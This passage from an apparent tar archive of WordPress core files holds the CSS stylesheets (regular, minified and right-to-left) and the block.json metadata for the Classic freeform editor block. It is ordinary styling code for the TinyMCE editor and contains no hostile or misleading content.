{ float: left; margin: 0.5em 1em 0.5em 0; } .wp-block-freeform.block-library-rich-text__tinymce .aligncenter { display: block; margin-right: auto; margin-left: auto; } .wp-block-freeform.block-library-rich-text__tinymce .wp-more-tag { width: 96%; height: 20px; display: block; margin: 15px auto; outline: 0; cursor: default; background-image: url(data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAADtgAAAAoBAMAAAA86gLBAAAAJFBMVEVMaXG7u7vBwcHDw8POzs68vLzGxsbMzMy+vr7AwMDQ0NDGxsYKLGzpAAAADHRSTlMA///zWf+/f///TMxNVGuqAAABwklEQVR4Ae3dMXLaQBTH4bfj8UCpx8hq0vgKvgFNemhT6Qo6gg6R+0ZahM2QLmyBJ99XWP9V5+o3jIUcLQEAAAAAAAAAAAAAAAAAAAAAAABQ8j0WL9lfTtlt18uNXAUA8O/KVtfa1tdcrOdSh9gCQAMlh1hMNbZZ1bsrsQWABsrhLRbz7z5in/32UbfUMUbkMQCAh5RfGYv82UdMdZ6HS2wjT2ILAI8r3XmM2B3WvM59vfO2xXYW2yYAENuPU8S+X/N67mKxzy225yaxBQCxLV392UdcvwV0jPVUj98ntkBWT7C7+9u2/V/vGtvXIWJ6/4rtbottWa6Ri0NUT/u72LYttrb97LHdvUXMxxrb8TO2W2TF1rYbbLG1bbGNjMi4+2Sbi1FsbbvNFlvbFtt5fDnE3d9sP1/XeIyV2Nr2U2/guZUuptNrH/dPI9eLB6SaAEBs6wPJf3/PNk9tYgsAYrv/8TFuzx/fvkFqGtrEFgDEdpcZUb7ejXy6ntrEFgDENvL6gsas4vbdyKt4DACI7TxElJv/Z7udpqFNbAFAbKduy2uU2trttM/x28UWAAAAAAAAAAAAAAAAAAAAAAAAAADgDyPwGmGTCZp7AAAAAElFTkSuQmCC); background-size: 1900px 20px; background-repeat: no-repeat; background-position: center; } .wp-block-freeform.block-library-rich-text__tinymce img::selection { background-color: transparent; } .wp-block-freeform.block-library-rich-text__tinymce div.mceTemp { -ms-user-select: element; } .wp-block-freeform.block-library-rich-text__tinymce dl.wp-caption { margin: 0; /* dl browser reset */ max-width: 100%; } .wp-block-freeform.block-library-rich-text__tinymce dl.wp-caption a, .wp-block-freeform.block-library-rich-text__tinymce dl.wp-caption img { display: block; } .wp-block-freeform.block-library-rich-text__tinymce dl.wp-caption, .wp-block-freeform.block-library-rich-text__tinymce dl.wp-caption * { -webkit-user-drag: none; } .wp-block-freeform.block-library-rich-text__tinymce dl.wp-caption .wp-caption-dd { padding-top: 0.5em; margin: 0; /* browser dd reset */ } .wp-block-freeform.block-library-rich-text__tinymce .wpview { width: 99.99%; /* All IE need hasLayout, incl. 11 (ugh, not again!!) */ position: relative; clear: both; margin-bottom: 16px; border: 1px solid transparent; } .wp-block-freeform.block-library-rich-text__tinymce .wpview iframe { display: block; max-width: 100%; background: transparent; } .wp-block-freeform.block-library-rich-text__tinymce .wpview .mce-shim { position: absolute; top: 0; left: 0; bottom: 0; right: 0; } .wp-block-freeform.block-library-rich-text__tinymce .wpview[data-mce-selected="2"] .mce-shim { display: none; } .wp-block-freeform.block-library-rich-text__tinymce .wpview .loading-placeholder { border: 1px dashed #ddd; padding: 10px; } .wp-block-freeform.block-library-rich-text__tinymce .wpview .wpview-error { border: 1px solid #ddd; padding: 1em 0; margin: 0; word-wrap: break-word; } .wp-block-freeform.block-library-rich-text__tinymce .wpview .wpview-error p { margin: 0; text-align: center; } .wp-block-freeform.block-library-rich-text__tinymce .wpview[data-mce-selected] .loading-placeholder, .wp-block-freeform.block-library-rich-text__tinymce .wpview[data-mce-selected] .wpview-error { border-color: transparent; } .wp-block-freeform.block-library-rich-text__tinymce .wpview .dashicons { display: block; margin: 0 auto; width: 32px; height: 32px; font-size: 32px; } .wp-block-freeform.block-library-rich-text__tinymce .wpview.wpview-type-gallery::after { content: ""; display: table; clear: both; } .wp-block-freeform.block-library-rich-text__tinymce .gallery img[data-mce-selected]:focus { outline: none; } .wp-block-freeform.block-library-rich-text__tinymce .gallery a { cursor: default; } .wp-block-freeform.block-library-rich-text__tinymce .gallery { margin: auto -6px; padding: 6px 0; line-height: 1; overflow-x: hidden; } .wp-block-freeform.block-library-rich-text__tinymce .gallery .gallery-item { float: right; margin: 0; text-align: center; padding: 6px; box-sizing: border-box; } .wp-block-freeform.block-library-rich-text__tinymce .gallery .gallery-caption, .wp-block-freeform.block-library-rich-text__tinymce .gallery .gallery-icon { margin: 0; } .wp-block-freeform.block-library-rich-text__tinymce .gallery .gallery-caption { font-size: 13px; margin: 4px 0; } .wp-block-freeform.block-library-rich-text__tinymce .gallery-columns-1 .gallery-item { width: 100%; } .wp-block-freeform.block-library-rich-text__tinymce .gallery-columns-2 .gallery-item { width: 50%; } .wp-block-freeform.block-library-rich-text__tinymce .gallery-columns-3 .gallery-item { width: 33.3333333333%; } .wp-block-freeform.block-library-rich-text__tinymce .gallery-columns-4 .gallery-item { width: 25%; } .wp-block-freeform.block-library-rich-text__tinymce .gallery-columns-5 .gallery-item { width: 20%; } .wp-block-freeform.block-library-rich-text__tinymce .gallery-columns-6 .gallery-item { width: 16.6666666667%; } .wp-block-freeform.block-library-rich-text__tinymce .gallery-columns-7 .gallery-item { width: 14.2857142857%; } .wp-block-freeform.block-library-rich-text__tinymce .gallery-columns-8 .gallery-item { width: 12.5%; } .wp-block-freeform.block-library-rich-text__tinymce .gallery-columns-9 .gallery-item { width: 11.1111111111%; } .wp-block-freeform.block-library-rich-text__tinymce .gallery img { max-width: 100%; height: auto; border: none; padding: 0; } div[data-type="core/freeform"]::before { transition: border-color 0.1s linear, box-shadow 0.1s linear; border: 1px solid #ddd; outline: 1px solid transparent; } @media (prefers-reduced-motion: reduce) { div[data-type="core/freeform"]::before { transition-duration: 0s; transition-delay: 0s; } } div[data-type="core/freeform"].is-selected::before { border-color: #1e1e1e; } div[data-type="core/freeform"] .block-editor-block-contextual-toolbar + div { margin-top: 0; padding-top: 0; } div[data-type="core/freeform"].is-selected .block-library-rich-text__tinymce::after { content: ""; display: table; clear: both; } .mce-toolbar-grp .mce-btn.mce-active button, .mce-toolbar-grp .mce-btn.mce-active:hover button, .mce-toolbar-grp .mce-btn.mce-active i, .mce-toolbar-grp .mce-btn.mce-active:hover i { color: #1e1e1e; } .mce-toolbar-grp .mce-rtl .mce-flow-layout-item.mce-last { margin-left: 0; margin-right: 8px; } .mce-toolbar-grp .mce-btn i { font-style: normal; } .block-library-classic__toolbar { display: none; width: auto; margin: 0; position: sticky; z-index: 31; top: 0; border: 1px solid #ddd; border-bottom: none; border-radius: 2px; margin-bottom: 8px; padding: 0; } div[data-type="core/freeform"].is-selected .block-library-classic__toolbar { display: block; border-color: #1e1e1e; } .block-library-classic__toolbar .mce-tinymce { box-shadow: none; } @media (min-width: 600px) { .block-library-classic__toolbar { padding: 0; } } .block-library-classic__toolbar:empty { display: block; background: #f5f5f5; border-bottom: 1px solid #e2e4e7; } .block-library-classic__toolbar:empty::before { font-family: -apple-system, BlinkMacSystemFont, "Segoe UI", Roboto, Oxygen-Sans, Ubuntu, Cantarell, "Helvetica Neue", sans-serif; font-size: 13px; content: attr(data-placeholder); color: #555d66; line-height: 37px; padding: 14px; } .block-library-classic__toolbar div.mce-toolbar-grp { border-bottom: 1px solid #1e1e1e; } .block-library-classic__toolbar .mce-tinymce-inline, .block-library-classic__toolbar .mce-tinymce-inline > div, .block-library-classic__toolbar div.mce-toolbar-grp, .block-library-classic__toolbar div.mce-toolbar-grp > div, .block-library-classic__toolbar .mce-menubar, .block-library-classic__toolbar .mce-menubar > div { height: auto !important; width: 100% !important; } .block-library-classic__toolbar .mce-container-body.mce-abs-layout { overflow: visible; } .block-library-classic__toolbar .mce-menubar, .block-library-classic__toolbar div.mce-toolbar-grp { position: static; } .block-library-classic__toolbar .mce-toolbar-grp > div { padding: 1px 3px; } .block-library-classic__toolbar .mce-toolbar-grp .mce-toolbar:not(:first-child) { display: none; } .block-library-classic__toolbar.has-advanced-toolbar .mce-toolbar-grp .mce-toolbar { display: block; }blocks/freeform/editor.css000064400000027147147177035020011647 0ustar00/** * Colors */ /** * Breakpoints & Media Queries */ /** * SCSS Variables. * * Please use variables from this sheet to ensure consistency across the UI. * Don't add to this sheet unless you're pretty sure the value will be reused in many places. * For example, don't add rules to this sheet that affect block visuals. It's purely for UI. */ /** * Colors */ /** * Fonts & basic variables. */ /** * Grid System. * https://make.wordpress.org/design/2019/10/31/proposal-a-consistent-spacing-system-for-wordpress/ */ /** * Dimensions. */ /** * Shadows. */ /** * Editor widths. */ /** * Block & Editor UI. */ /** * Block paddings. */ /** * React Native specific. * These variables do not appear to be used anywhere else. */ /** * Converts a hex value into the rgb equivalent. * * @param {string} hex - the hexadecimal value to convert * @return {string} comma separated rgb values */ /** * Breakpoint mixins */ /** * Long content fade mixin * * Creates a fading overlay to signify that the content is longer * than the space allows. */ /** * Focus styles. */ /** * Applies editor left position to the selector passed as argument */ /** * Styles that are reused verbatim in a few places */ /** * Allows users to opt-out of animations via OS-level preferences. */ /** * Reset default styles for JavaScript UI based pages. * This is a WP-admin agnostic reset */ /** * Reset the WP Admin page styles for Gutenberg-like pages. */ .wp-block-freeform.block-library-rich-text__tinymce { height: auto; /* Allow height of embed iframes to be calculated properly */ /* Remove blue highlighting of selected images in WebKit */ /* Image captions */ /* WP Views */ } .wp-block-freeform.block-library-rich-text__tinymce p, .wp-block-freeform.block-library-rich-text__tinymce li { line-height: 1.8; } .wp-block-freeform.block-library-rich-text__tinymce ul, .wp-block-freeform.block-library-rich-text__tinymce ol { padding-left: 2.5em; margin-left: 0; } .wp-block-freeform.block-library-rich-text__tinymce blockquote { margin: 0; box-shadow: inset 0 0 0 0 #ddd; border-left: 4px solid #000; padding-left: 1em; } .wp-block-freeform.block-library-rich-text__tinymce pre { white-space: pre-wrap; font-family: Menlo, Consolas, monaco, monospace; font-size: 15px; color: #1e1e1e; } .wp-block-freeform.block-library-rich-text__tinymce > *:first-child { margin-top: 0; } .wp-block-freeform.block-library-rich-text__tinymce > *:last-child { margin-bottom: 0; } .wp-block-freeform.block-library-rich-text__tinymce.mce-edit-focus { outline: none; } .wp-block-freeform.block-library-rich-text__tinymce a { color: var(--wp-admin-theme-color); } .wp-block-freeform.block-library-rich-text__tinymce:focus a[data-mce-selected] { padding: 0 2px; margin: 0 -2px; border-radius: 2px; box-shadow: 0 0 0 1px #e5f5fa; background: #e5f5fa; } .wp-block-freeform.block-library-rich-text__tinymce code { padding: 2px; border-radius: 2px; color: #1e1e1e; background: #f0f0f0; font-family: Menlo, Consolas, monaco, monospace; font-size: 14px; } .wp-block-freeform.block-library-rich-text__tinymce:focus code[data-mce-selected] { background: #ddd; } .wp-block-freeform.block-library-rich-text__tinymce .alignright { /*rtl:ignore*/ float: right; /*rtl:ignore*/ margin: 0.5em 0 0.5em 1em; } .wp-block-freeform.block-library-rich-text__tinymce .alignleft { /*rtl:ignore*/ float: left; /*rtl:ignore*/ margin: 0.5em 1em 0.5em 0; } .wp-block-freeform.block-library-rich-text__tinymce .aligncenter { display: block; margin-left: auto; margin-right: auto; } .wp-block-freeform.block-library-rich-text__tinymce .wp-more-tag { width: 96%; height: 20px; display: block; margin: 15px auto; outline: 0; cursor: default; background-image: url(data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAADtgAAAAoBAMAAAA86gLBAAAAJFBMVEVMaXG7u7vBwcHDw8POzs68vLzGxsbMzMy+vr7AwMDQ0NDGxsYKLGzpAAAADHRSTlMA///zWf+/f///TMxNVGuqAAABwklEQVR4Ae3dMXLaQBTH4bfj8UCpx8hq0vgKvgFNemhT6Qo6gg6R+0ZahM2QLmyBJ99XWP9V5+o3jIUcLQEAAAAAAAAAAAAAAAAAAAAAAABQ8j0WL9lfTtlt18uNXAUA8O/KVtfa1tdcrOdSh9gCQAMlh1hMNbZZ1bsrsQWABsrhLRbz7z5in/32UbfUMUbkMQCAh5RfGYv82UdMdZ6HS2wjT2ILAI8r3XmM2B3WvM59vfO2xXYW2yYAENuPU8S+X/N67mKxzy225yaxBQCxLV392UdcvwV0jPVUj98ntkBWT7C7+9u2/V/vGtvXIWJ6/4rtbottWa6Ri0NUT/u72LYttrb97LHdvUXMxxrb8TO2W2TF1rYbbLG1bbGNjMi4+2Sbi1FsbbvNFlvbFtt5fDnE3d9sP1/XeIyV2Nr2U2/guZUuptNrH/dPI9eLB6SaAEBs6wPJf3/PNk9tYgsAYrv/8TFuzx/fvkFqGtrEFgDEdpcZUb7ejXy6ntrEFgDENvL6gsas4vbdyKt4DACI7TxElJv/Z7udpqFNbAFAbKduy2uU2trttM/x28UWAAAAAAAAAAAAAAAAAAAAAAAAAADgDyPwGmGTCZp7AAAAAElFTkSuQmCC); background-size: 1900px 20px; background-repeat: no-repeat; background-position: center; } .wp-block-freeform.block-library-rich-text__tinymce img::selection { background-color: transparent; } .wp-block-freeform.block-library-rich-text__tinymce div.mceTemp { -ms-user-select: element; } .wp-block-freeform.block-library-rich-text__tinymce dl.wp-caption { margin: 0; /* dl browser reset */ max-width: 100%; } .wp-block-freeform.block-library-rich-text__tinymce dl.wp-caption a, .wp-block-freeform.block-library-rich-text__tinymce dl.wp-caption img { display: block; } .wp-block-freeform.block-library-rich-text__tinymce dl.wp-caption, .wp-block-freeform.block-library-rich-text__tinymce dl.wp-caption * { -webkit-user-drag: none; } .wp-block-freeform.block-library-rich-text__tinymce dl.wp-caption .wp-caption-dd { padding-top: 0.5em; margin: 0; /* browser dd reset */ } .wp-block-freeform.block-library-rich-text__tinymce .wpview { width: 99.99%; /* All IE need hasLayout, incl. 11 (ugh, not again!!) */ position: relative; clear: both; margin-bottom: 16px; border: 1px solid transparent; } .wp-block-freeform.block-library-rich-text__tinymce .wpview iframe { display: block; max-width: 100%; background: transparent; } .wp-block-freeform.block-library-rich-text__tinymce .wpview .mce-shim { position: absolute; top: 0; right: 0; bottom: 0; left: 0; } .wp-block-freeform.block-library-rich-text__tinymce .wpview[data-mce-selected="2"] .mce-shim { display: none; } .wp-block-freeform.block-library-rich-text__tinymce .wpview .loading-placeholder { border: 1px dashed #ddd; padding: 10px; } .wp-block-freeform.block-library-rich-text__tinymce .wpview .wpview-error { border: 1px solid #ddd; padding: 1em 0; margin: 0; word-wrap: break-word; } .wp-block-freeform.block-library-rich-text__tinymce .wpview .wpview-error p { margin: 0; text-align: center; } .wp-block-freeform.block-library-rich-text__tinymce .wpview[data-mce-selected] .loading-placeholder, .wp-block-freeform.block-library-rich-text__tinymce .wpview[data-mce-selected] .wpview-error { border-color: transparent; } .wp-block-freeform.block-library-rich-text__tinymce .wpview .dashicons { display: block; margin: 0 auto; width: 32px; height: 32px; font-size: 32px; } .wp-block-freeform.block-library-rich-text__tinymce .wpview.wpview-type-gallery::after { content: ""; display: table; clear: both; } .wp-block-freeform.block-library-rich-text__tinymce .gallery img[data-mce-selected]:focus { outline: none; } .wp-block-freeform.block-library-rich-text__tinymce .gallery a { cursor: default; } .wp-block-freeform.block-library-rich-text__tinymce .gallery { margin: auto -6px; padding: 6px 0; line-height: 1; overflow-x: hidden; } .wp-block-freeform.block-library-rich-text__tinymce .gallery .gallery-item { float: left; margin: 0; text-align: center; padding: 6px; box-sizing: border-box; } .wp-block-freeform.block-library-rich-text__tinymce .gallery .gallery-caption, .wp-block-freeform.block-library-rich-text__tinymce .gallery .gallery-icon { margin: 0; } .wp-block-freeform.block-library-rich-text__tinymce .gallery .gallery-caption { font-size: 13px; margin: 4px 0; } .wp-block-freeform.block-library-rich-text__tinymce .gallery-columns-1 .gallery-item { width: 100%; } .wp-block-freeform.block-library-rich-text__tinymce .gallery-columns-2 .gallery-item { width: 50%; } .wp-block-freeform.block-library-rich-text__tinymce .gallery-columns-3 .gallery-item { width: 33.3333333333%; } .wp-block-freeform.block-library-rich-text__tinymce .gallery-columns-4 .gallery-item { width: 25%; } .wp-block-freeform.block-library-rich-text__tinymce .gallery-columns-5 .gallery-item { width: 20%; } .wp-block-freeform.block-library-rich-text__tinymce .gallery-columns-6 .gallery-item { width: 16.6666666667%; } .wp-block-freeform.block-library-rich-text__tinymce .gallery-columns-7 .gallery-item { width: 14.2857142857%; } .wp-block-freeform.block-library-rich-text__tinymce .gallery-columns-8 .gallery-item { width: 12.5%; } .wp-block-freeform.block-library-rich-text__tinymce .gallery-columns-9 .gallery-item { width: 11.1111111111%; } .wp-block-freeform.block-library-rich-text__tinymce .gallery img { max-width: 100%; height: auto; border: none; padding: 0; } div[data-type="core/freeform"]::before { transition: border-color 0.1s linear, box-shadow 0.1s linear; border: 1px solid #ddd; outline: 1px solid transparent; } @media (prefers-reduced-motion: reduce) { div[data-type="core/freeform"]::before { transition-duration: 0s; transition-delay: 0s; } } div[data-type="core/freeform"].is-selected::before { border-color: #1e1e1e; } div[data-type="core/freeform"] .block-editor-block-contextual-toolbar + div { margin-top: 0; padding-top: 0; } div[data-type="core/freeform"].is-selected .block-library-rich-text__tinymce::after { content: ""; display: table; clear: both; } .mce-toolbar-grp .mce-btn.mce-active button, .mce-toolbar-grp .mce-btn.mce-active:hover button, .mce-toolbar-grp .mce-btn.mce-active i, .mce-toolbar-grp .mce-btn.mce-active:hover i { color: #1e1e1e; } .mce-toolbar-grp .mce-rtl .mce-flow-layout-item.mce-last { margin-right: 0; margin-left: 8px; } .mce-toolbar-grp .mce-btn i { font-style: normal; } .block-library-classic__toolbar { display: none; width: auto; margin: 0; position: sticky; z-index: 31; top: 0; border: 1px solid #ddd; border-bottom: none; border-radius: 2px; margin-bottom: 8px; padding: 0; } div[data-type="core/freeform"].is-selected .block-library-classic__toolbar { display: block; border-color: #1e1e1e; } .block-library-classic__toolbar .mce-tinymce { box-shadow: none; } @media (min-width: 600px) { .block-library-classic__toolbar { padding: 0; } } .block-library-classic__toolbar:empty { display: block; background: #f5f5f5; border-bottom: 1px solid #e2e4e7; } .block-library-classic__toolbar:empty::before { font-family: -apple-system, BlinkMacSystemFont, "Segoe UI", Roboto, Oxygen-Sans, Ubuntu, Cantarell, "Helvetica Neue", sans-serif; font-size: 13px; content: attr(data-placeholder); color: #555d66; line-height: 37px; padding: 14px; } .block-library-classic__toolbar div.mce-toolbar-grp { border-bottom: 1px solid #1e1e1e; } .block-library-classic__toolbar .mce-tinymce-inline, .block-library-classic__toolbar .mce-tinymce-inline > div, .block-library-classic__toolbar div.mce-toolbar-grp, .block-library-classic__toolbar div.mce-toolbar-grp > div, .block-library-classic__toolbar .mce-menubar, .block-library-classic__toolbar .mce-menubar > div { height: auto !important; width: 100% !important; } .block-library-classic__toolbar .mce-container-body.mce-abs-layout { overflow: visible; } .block-library-classic__toolbar .mce-menubar, .block-library-classic__toolbar div.mce-toolbar-grp { position: static; } .block-library-classic__toolbar .mce-toolbar-grp > div { padding: 1px 3px; } .block-library-classic__toolbar .mce-toolbar-grp .mce-toolbar:not(:first-child) { display: none; } .block-library-classic__toolbar.has-advanced-toolbar .mce-toolbar-grp .mce-toolbar { display: block; }blocks/freeform/editor.min.css000064400000021536147177035020012425 0ustar00.wp-block-freeform.block-library-rich-text__tinymce{height:auto}.wp-block-freeform.block-library-rich-text__tinymce li,.wp-block-freeform.block-library-rich-text__tinymce p{line-height:1.8}.wp-block-freeform.block-library-rich-text__tinymce ol,.wp-block-freeform.block-library-rich-text__tinymce ul{padding-left:2.5em;margin-left:0}.wp-block-freeform.block-library-rich-text__tinymce blockquote{margin:0;box-shadow:inset 0 0 0 0 #ddd;border-left:4px solid #000;padding-left:1em}.wp-block-freeform.block-library-rich-text__tinymce pre{white-space:pre-wrap;font-family:Menlo,Consolas,monaco,monospace;font-size:15px;color:#1e1e1e}.wp-block-freeform.block-library-rich-text__tinymce>:first-child{margin-top:0}.wp-block-freeform.block-library-rich-text__tinymce>:last-child{margin-bottom:0}.wp-block-freeform.block-library-rich-text__tinymce.mce-edit-focus{outline:none}.wp-block-freeform.block-library-rich-text__tinymce a{color:var(--wp-admin-theme-color)}.wp-block-freeform.block-library-rich-text__tinymce:focus a[data-mce-selected]{padding:0 2px;margin:0 -2px;border-radius:2px;box-shadow:0 0 0 1px #e5f5fa;background:#e5f5fa}.wp-block-freeform.block-library-rich-text__tinymce code{padding:2px;border-radius:2px;color:#1e1e1e;background:#f0f0f0;font-family:Menlo,Consolas,monaco,monospace;font-size:14px}.wp-block-freeform.block-library-rich-text__tinymce:focus code[data-mce-selected]{background:#ddd}.wp-block-freeform.block-library-rich-text__tinymce .alignright{float:right;margin:.5em 0 .5em 1em}.wp-block-freeform.block-library-rich-text__tinymce .alignleft{float:left;margin:.5em 1em .5em 0}.wp-block-freeform.block-library-rich-text__tinymce .aligncenter{display:block;margin-left:auto;margin-right:auto}.wp-block-freeform.block-library-rich-text__tinymce .wp-more-tag{width:96%;height:20px;display:block;margin:15px auto;outline:0;cursor:default;background-image:url(data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAADtgAAAAoBAMAAAA86gLBAAAAJFBMVEVMaXG7u7vBwcHDw8POzs68vLzGxsbMzMy+vr7AwMDQ0NDGxsYKLGzpAAAADHRSTlMA///zWf+/f///TMxNVGuqAAABwklEQVR4Ae3dMXLaQBTH4bfj8UCpx8hq0vgKvgFNemhT6Qo6gg6R+0ZahM2QLmyBJ99XWP9V5+o3jIUcLQEAAAAAAAAAAAAAAAAAAAAAAABQ8j0WL9lfTtlt18uNXAUA8O/KVtfa1tdcrOdSh9gCQAMlh1hMNbZZ1bsrsQWABsrhLRbz7z5in/32UbfUMUbkMQCAh5RfGYv82UdMdZ6HS2wjT2ILAI8r3XmM2B3WvM59vfO2xXYW2yYAENuPU8S+X/N67mKxzy225yaxBQCxLV392UdcvwV0jPVUj98ntkBWT7C7+9u2/V/vGtvXIWJ6/4rtbottWa6Ri0NUT/u72LYttrb97LHdvUXMxxrb8TO2W2TF1rYbbLG1bbGNjMi4+2Sbi1FsbbvNFlvbFtt5fDnE3d9sP1/XeIyV2Nr2U2/guZUuptNrH/dPI9eLB6SaAEBs6wPJf3/PNk9tYgsAYrv/8TFuzx/fvkFqGtrEFgDEdpcZUb7ejXy6ntrEFgDENvL6gsas4vbdyKt4DACI7TxElJv/Z7udpqFNbAFAbKduy2uU2trttM/x28UWAAAAAAAAAAAAAAAAAAAAAAAAAADgDyPwGmGTCZp7AAAAAElFTkSuQmCC);background-size:1900px 20px;background-repeat:no-repeat;background-position:50%}.wp-block-freeform.block-library-rich-text__tinymce img::selection{background-color:transparent}.wp-block-freeform.block-library-rich-text__tinymce div.mceTemp{-ms-user-select:element}.wp-block-freeform.block-library-rich-text__tinymce dl.wp-caption{margin:0;max-width:100%}.wp-block-freeform.block-library-rich-text__tinymce dl.wp-caption a,.wp-block-freeform.block-library-rich-text__tinymce dl.wp-caption img{display:block}.wp-block-freeform.block-library-rich-text__tinymce dl.wp-caption,.wp-block-freeform.block-library-rich-text__tinymce dl.wp-caption *{-webkit-user-drag:none}.wp-block-freeform.block-library-rich-text__tinymce dl.wp-caption .wp-caption-dd{padding-top:.5em;margin:0}.wp-block-freeform.block-library-rich-text__tinymce .wpview{width:99.99%;position:relative;clear:both;margin-bottom:16px;border:1px solid transparent}.wp-block-freeform.block-library-rich-text__tinymce .wpview iframe{display:block;max-width:100%;background:transparent}.wp-block-freeform.block-library-rich-text__tinymce .wpview .mce-shim{position:absolute;top:0;right:0;bottom:0;left:0}.wp-block-freeform.block-library-rich-text__tinymce .wpview[data-mce-selected="2"] .mce-shim{display:none}.wp-block-freeform.block-library-rich-text__tinymce .wpview .loading-placeholder{border:1px dashed #ddd;padding:10px}.wp-block-freeform.block-library-rich-text__tinymce .wpview .wpview-error{border:1px solid #ddd;padding:1em 0;margin:0;word-wrap:break-word}.wp-block-freeform.block-library-rich-text__tinymce .wpview .wpview-error p{margin:0;text-align:center}.wp-block-freeform.block-library-rich-text__tinymce .wpview[data-mce-selected] .loading-placeholder,.wp-block-freeform.block-library-rich-text__tinymce .wpview[data-mce-selected] .wpview-error{border-color:transparent}.wp-block-freeform.block-library-rich-text__tinymce .wpview .dashicons{display:block;margin:0 auto;width:32px;height:32px;font-size:32px}.wp-block-freeform.block-library-rich-text__tinymce .wpview.wpview-type-gallery:after{content:"";display:table;clear:both}.wp-block-freeform.block-library-rich-text__tinymce .gallery img[data-mce-selected]:focus{outline:none}.wp-block-freeform.block-library-rich-text__tinymce .gallery a{cursor:default}.wp-block-freeform.block-library-rich-text__tinymce .gallery{margin:auto -6px;padding:6px 0;line-height:1;overflow-x:hidden}.wp-block-freeform.block-library-rich-text__tinymce .gallery .gallery-item{float:left;margin:0;text-align:center;padding:6px;box-sizing:border-box}.wp-block-freeform.block-library-rich-text__tinymce .gallery .gallery-caption,.wp-block-freeform.block-library-rich-text__tinymce .gallery .gallery-icon{margin:0}.wp-block-freeform.block-library-rich-text__tinymce .gallery .gallery-caption{font-size:13px;margin:4px 0}.wp-block-freeform.block-library-rich-text__tinymce .gallery-columns-1 .gallery-item{width:100%}.wp-block-freeform.block-library-rich-text__tinymce .gallery-columns-2 .gallery-item{width:50%}.wp-block-freeform.block-library-rich-text__tinymce .gallery-columns-3 .gallery-item{width:33.3333333333%}.wp-block-freeform.block-library-rich-text__tinymce .gallery-columns-4 .gallery-item{width:25%}.wp-block-freeform.block-library-rich-text__tinymce .gallery-columns-5 .gallery-item{width:20%}.wp-block-freeform.block-library-rich-text__tinymce .gallery-columns-6 .gallery-item{width:16.6666666667%}.wp-block-freeform.block-library-rich-text__tinymce .gallery-columns-7 .gallery-item{width:14.2857142857%}.wp-block-freeform.block-library-rich-text__tinymce .gallery-columns-8 .gallery-item{width:12.5%}.wp-block-freeform.block-library-rich-text__tinymce .gallery-columns-9 .gallery-item{width:11.1111111111%}.wp-block-freeform.block-library-rich-text__tinymce .gallery img{max-width:100%;height:auto;border:none;padding:0}div[data-type="core/freeform"]:before{transition:border-color .1s linear,box-shadow .1s linear;border:1px solid #ddd;outline:1px solid transparent}@media (prefers-reduced-motion:reduce){div[data-type="core/freeform"]:before{transition-duration:0s;transition-delay:0s}}div[data-type="core/freeform"].is-selected:before{border-color:#1e1e1e}div[data-type="core/freeform"] .block-editor-block-contextual-toolbar+div{margin-top:0;padding-top:0}div[data-type="core/freeform"].is-selected .block-library-rich-text__tinymce:after{content:"";display:table;clear:both}.mce-toolbar-grp .mce-btn.mce-active:hover button,.mce-toolbar-grp .mce-btn.mce-active:hover i,.mce-toolbar-grp .mce-btn.mce-active button,.mce-toolbar-grp .mce-btn.mce-active i{color:#1e1e1e}.mce-toolbar-grp .mce-rtl .mce-flow-layout-item.mce-last{margin-right:0;margin-left:8px}.mce-toolbar-grp .mce-btn i{font-style:normal}.block-library-classic__toolbar{display:none;width:auto;position:sticky;z-index:31;top:0;border:1px solid #ddd;border-bottom:none;border-radius:2px;margin:0 0 8px;padding:0}div[data-type="core/freeform"].is-selected .block-library-classic__toolbar{display:block;border-color:#1e1e1e}.block-library-classic__toolbar .mce-tinymce{box-shadow:none}@media (min-width:600px){.block-library-classic__toolbar{padding:0}}.block-library-classic__toolbar:empty{display:block;background:#f5f5f5;border-bottom:1px solid #e2e4e7}.block-library-classic__toolbar:empty:before{font-family:-apple-system,BlinkMacSystemFont,Segoe UI,Roboto,Oxygen-Sans,Ubuntu,Cantarell,Helvetica Neue,sans-serif;font-size:13px;content:attr(data-placeholder);color:#555d66;line-height:37px;padding:14px}.block-library-classic__toolbar div.mce-toolbar-grp{border-bottom:1px solid #1e1e1e}.block-library-classic__toolbar .mce-menubar,.block-library-classic__toolbar .mce-menubar>div,.block-library-classic__toolbar .mce-tinymce-inline,.block-library-classic__toolbar .mce-tinymce-inline>div,.block-library-classic__toolbar div.mce-toolbar-grp,.block-library-classic__toolbar div.mce-toolbar-grp>div{height:auto!important;width:100%!important}.block-library-classic__toolbar .mce-container-body.mce-abs-layout{overflow:visible}.block-library-classic__toolbar .mce-menubar,.block-library-classic__toolbar div.mce-toolbar-grp{position:static}.block-library-classic__toolbar .mce-toolbar-grp>div{padding:1px 3px}.block-library-classic__toolbar .mce-toolbar-grp .mce-toolbar:not(:first-child){display:none}.block-library-classic__toolbar.has-advanced-toolbar .mce-toolbar-grp .mce-toolbar{display:block}blocks/freeform/block.json000064400000000665147177035020011630 0ustar00{ "$schema": "https://schemas.wp.org/trunk/block.json", "apiVersion": 2, "name": "core/freeform", "title": "Classic", "category": "text", "description": "Use the classic WordPress editor.", "textdomain": "default", "attributes": { "content": { "type": "string", "source": "html" } }, "supports": { "className": false, "customClassName": false, "reusable": false }, "editorStyle": "wp-block-freeform-editor" } blocks/freeform/editor-rtl.min.css000064400000021543147177035020013222 0ustar00.wp-block-freeform.block-library-rich-text__tinymce{height:auto}.wp-block-freeform.block-library-rich-text__tinymce li,.wp-block-freeform.block-library-rich-text__tinymce p{line-height:1.8}.wp-block-freeform.block-library-rich-text__tinymce ol,.wp-block-freeform.block-library-rich-text__tinymce ul{padding-right:2.5em;margin-right:0}.wp-block-freeform.block-library-rich-text__tinymce blockquote{margin:0;box-shadow:inset 0 0 0 0 #ddd;border-right:4px solid #000;padding-right:1em}.wp-block-freeform.block-library-rich-text__tinymce pre{white-space:pre-wrap;font-family:Menlo,Consolas,monaco,monospace;font-size:15px;color:#1e1e1e}.wp-block-freeform.block-library-rich-text__tinymce>:first-child{margin-top:0}.wp-block-freeform.block-library-rich-text__tinymce>:last-child{margin-bottom:0}.wp-block-freeform.block-library-rich-text__tinymce.mce-edit-focus{outline:none}.wp-block-freeform.block-library-rich-text__tinymce a{color:var(--wp-admin-theme-color)}.wp-block-freeform.block-library-rich-text__tinymce:focus a[data-mce-selected]{padding:0 2px;margin:0 -2px;border-radius:2px;box-shadow:0 0 0 1px 